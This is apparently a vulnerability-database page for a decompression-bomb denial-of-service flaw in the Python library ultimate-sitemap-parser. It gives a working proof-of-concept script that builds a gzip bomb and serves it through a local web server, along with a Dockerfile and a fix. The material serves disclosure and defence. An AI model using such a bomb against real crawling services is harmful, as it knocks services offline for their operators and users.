GHSA-8823-qg2x-pv9f Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit

Not scored Published

An attacker can cause memory exhaustion and crash the application by serving a small gzip-compressed sitemap that expands beyond the enforced size limit.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-8823-qg2x-pv9f?

GHSA-8823-qg2x-pv9f is a denial of service vulnerability in ultimate-sitemap-parser, published on 19 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Gzip Decompression Bomb Bypasses Sitemap Size Limit

Summary

ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip_lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap_tree_for_homepage() against an untrusted site.

Details

The library declares a maximum sitemap size constant in usp/fetch_parse.py:64:

__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size

Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at usp/fetch_parse.py:130:

web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)

The HTTP client (usp/web_client/requests_client.py:57-58) slices only the raw compressed response bytes:

data = self.__requests_response.content[: self.__max_response_data_length]

The truncated (but still compressed) bytes are then passed through the pipeline to usp/fetch_parse.py:175:

response_content = ungzipped_response_content(url=self._url, response=response)

Inside ungzipped_response_content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:

if __response_is_gzipped_data(url=url, response=response):
    data = gunzip(data)

The gunzip function (usp/helpers.py:239) decompresses without any output-size guard:

gunzipped_data = gzip_lib.decompress(data)

No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.

PoC

Environment setup:

# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca

# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002

Alternatively, run directly:

python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py

PoC script (poc.py) — abbreviated attack flow:

import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage

# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
            self.send_response(200); self.end_headers(); self.wfile.write(body)
        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.end_headers(); self.wfile.write(compressed_bomb)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()

sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()

Expected output:

[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)
[+] sitemap_tree_for_homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.

The parser fetches /sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.

Remediation:

--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
 
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
     try:
-        gunzipped_data = gzip_lib.decompress(data)
+        chunks, total = [], 0
+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+            while chunk := gz.read(1024 * 1024):
+                total += len(chunk)
+                if max_output_bytes is not None and total > max_output_bytes:
+                    raise GunzipException(
+                        f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes."
+                    )
+                chunks.append(chunk)
+        gunzipped_data = b"".join(chunks)

-def ungzipped_response_content(url, response):
+def ungzipped_response_content(url, response, max_uncompressed_size=None):
-            data = gunzip(data)
+            data = gunzip(data, max_output_bytes=max_uncompressed_size)

--- a/usp/fetch_parse.py
-        response_content = ungzipped_response_content(url=self._url, response=response)
+        response_content = ungzipped_response_content(
+            url=self._url, response=response,
+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,
+        )

Impact

Any application that calls sitemap_tree_for_homepage() (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid robots.txt pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.

A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.

This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include:

  • SEO tooling, search engine crawlers, and indexing services using this library.
  • Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.
  • Any automated pipeline that regularly crawls third-party sitemaps.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable library from the cloned repo (build context: parent dir)
COPY repo/ /app/repo/

# Install the library from local source (version 1.8.0)
RUN pip install --no-cache-dir /app/repo/

# Copy the PoC script
COPY vuln-002/poc.py /app/poc.py

# Run with unbuffered output so evidence appears immediately
CMD ["python3", "-u", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0

Vulnerability location: usp/helpers.py:239
  gunzipped_data = gzip_lib.decompress(data)   # no max_length

Attack path:
  1. Attacker serves

Which versions are affected by GHSA-8823-qg2x-pv9f?

2 open source packages ship an affected version, including ultimate-sitemap-parser.

PackageAffectedFixed in
ultimate-sitemap-parser PyPIAll versions1.8.1
ultimate-sitemap-parser PyPIAll versions1.8.1

How do I fix GHSA-8823-qg2x-pv9f?

Upgrade ultimate-sitemap-parser to 1.8.1 or later.

Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.

Is GHSA-8823-qg2x-pv9f being exploited?

There is no known exploitation of GHSA-8823-qg2x-pv9f in the wild and no public exploit code.

Sources

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